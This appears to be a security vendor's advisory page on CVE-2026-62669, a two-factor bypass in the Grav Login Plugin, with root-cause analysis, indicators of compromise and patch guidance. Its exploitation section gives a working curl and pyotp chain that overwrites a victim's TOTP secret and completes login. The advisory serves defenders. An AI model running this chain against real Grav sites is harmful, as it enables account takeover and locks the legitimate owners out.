CVE-2026-62669
PHP vulnerability analysis and mitigation

Overview

CVE-2026-62669 is a 2FA authentication bypass vulnerability in the Grav Login Plugin that allows an attacker to complete TOTP-based two-factor authentication without possessing the victim's second factor. The flaw exists in the login.regenerate2FASecret task, which checks only that a session user exists ($user->exists()) rather than requiring a fully authorized session ($user->authorized). Affected software includes getgrav/grav-plugin-login versions prior to 3.8.11 and getgrav/grav versions prior to 2.0.4. The vulnerability was published on August 19, 2026, with a patch released on June 29, 2026 (GHSA-7mgc-c7pq-3rr3). It carries a CVSS v3.1 base score of 7.4 (High) (Github Advisory).

Technical details

The root cause is improper authentication (CWE-287) arising from four compounding code deficiencies in the Grav Login Plugin v3.8.10. First, userLogin() assigns $session->user = $user before TOTP verification completes, placing the victim's user object in the session during the pending-challenge window. Second, taskRegenerate2FASecret() in classes/Controller.php gates access only on $user->exists() rather than $user->authorized, allowing the function to be invoked while the session is in the 2FA-pending state. Third, the task required no CSRF nonce and was reachable via a plain HTTP GET request, making it trivially exploitable. An attacker who has already submitted the victim's correct password can call the regenerate endpoint during the TOTP challenge window, overwrite the victim's twofa_secret on disk, read the new secret from the JSON response, and compute a valid TOTP code to complete authentication (Github Advisory, Patch Commit).

Impact

Successful exploitation results in complete bypass of TOTP-based two-factor authentication, effectively reducing account security to password-only. The attacker gains full unauthorized access to the victim's Grav account with high confidentiality and integrity impact — they can read all content accessible to that account and perform any actions the account is authorized for. Additionally, because the victim's legitimate twofa_secret is permanently overwritten on disk via $user->save(), the victim is locked out of their own account until an administrator intervenes (Github Advisory).

Exploitability

A working proof-of-concept (PoC) was confirmed live by the reporter (nicl4ssic) and is included in the public GitHub Security Advisory, demonstrating the full exploit chain using curl and pyotp. No evidence of in-the-wild exploitation or threat actor attribution has been reported at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.386% (32nd percentile), indicating a relatively low but non-negligible probability of exploitation in the near term. Exploitation requires the attacker to already possess the victim's password, which raises the attack complexity (Github Advisory).

Exploitation steps

  1. Obtain victim credentials: Acquire the victim's Grav account password via credential stuffing, phishing, or password cracking.
  2. Initiate login and capture session cookie: Send a POST request to the Grav login page with the victim's username and password, including the login-form-nonce. Retain the session cookie — the session is now in a 2FA-pending state.
    LOGIN_PAGE=$(curl -s -c /tmp/2fa.jar "http://target/grav/login")
    NONCE=$(echo "$LOGIN_PAGE" | grep -oP 'name="login-form-nonce" value="\K[^"]+' )
    curl -s -b /tmp/2fa.jar -c /tmp/2fa.jar -X POST "http://target/grav/login" \
      -d "username=victim&password=VictimPass!&task=login.login&login-form-nonce=${NONCE}"
  3. Invoke the regenerate2FASecret task: Using the same session cookie (while the session is in the pending-challenge window), send a GET request to the unprotected endpoint to overwrite the victim's TOTP secret and receive the new secret in the response.
    curl -s -b /tmp/2fa.jar "http://target/grav/login/task:login.regenerate2FASecret"
    # Response: {"status":"success","secret":"FS5P SYNP 24YH X3AM 3DP3 PADG RIPV B4K5",...}
  4. Compute a valid TOTP code: Use the returned secret to generate a current TOTP code.
    python3 -c "import pyotp; print(pyotp.TOTP('FS5PSYNP24YHX3AM3DP3PADGRIPVB4K5').now())"
    # Output: 152656
  5. Complete 2FA authentication: Submit the computed TOTP code to the 2FA verification endpoint using the same session cookie.
    curl -s -L -b /tmp/2fa.jar -X POST "http://target/grav/login" \
      -d "task=login.twofa&2fa_code=152656"
  6. Verify full access: Confirm authenticated access to the victim's account. The victim's original TOTP secret is permanently overwritten, locking them out (Github Advisory).

Indicators of compromise

  • Network: Unexpected GET or POST requests to /grav/login/task:login.regenerate2FASecret (or equivalent path) originating from an IP address that is not the account owner's known IP, especially during an active login session.
  • Logs: Web server access logs showing a regenerate2FASecret task request immediately following a successful password submission but before TOTP completion; JSON responses containing a twofa_secret field returned to an unauthenticated or pending-challenge session.
  • File System: Unexpected modification timestamp on the victim's Grav user YAML file (e.g., user/accounts/<username>.yaml) indicating the twofa_secret field was recently overwritten.
  • Application Behavior: Victim reports being unable to log in with their authenticator app (TOTP codes rejected), indicating their secret has been rotated without their action (Github Advisory).

Mitigation and workarounds

Update the Grav Login Plugin to version 3.8.11 and Grav core to version 2.0.4 or later, which gate taskRegenerate2FASecret() on $user->authorized === true and require a POST request with a valid login-form-nonce CSRF token. No official configuration-based workaround is available for unpatched versions; administrators unable to patch immediately should consider disabling the 2FA secret regeneration feature or restricting access to the login endpoint at the network/WAF level. Additionally, review authentication logs for suspicious regenerate2FASecret requests and audit user YAML files for unexpected twofa_secret modifications (Plugin Release, Patch Commit).

Additional resources


SourceThis report was generated using AI

Related PHP vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-84361HIGH7.7
  • PHP logoPHP
  • composer
NoYesSep 01, 2026
GHSA-8rr7-cvq3-gmfhHIGH7.5
  • PHP logoPHP
  • league/commonmark
NoYesSep 01, 2026
GHSA-jjv6-8j6v-6j52HIGH7.5
  • PHP logoPHP
  • league/commonmark
NoYesSep 01, 2026
GHSA-j8pm-gj4c-rq4xHIGH7.5
  • PHP logoPHP
  • league/commonmark
NoYesSep 01, 2026
GHSA-f8fg-pg57-v4j8HIGH7.2
  • PHP logoPHP
  • league/commonmark
NoYesSep 01, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management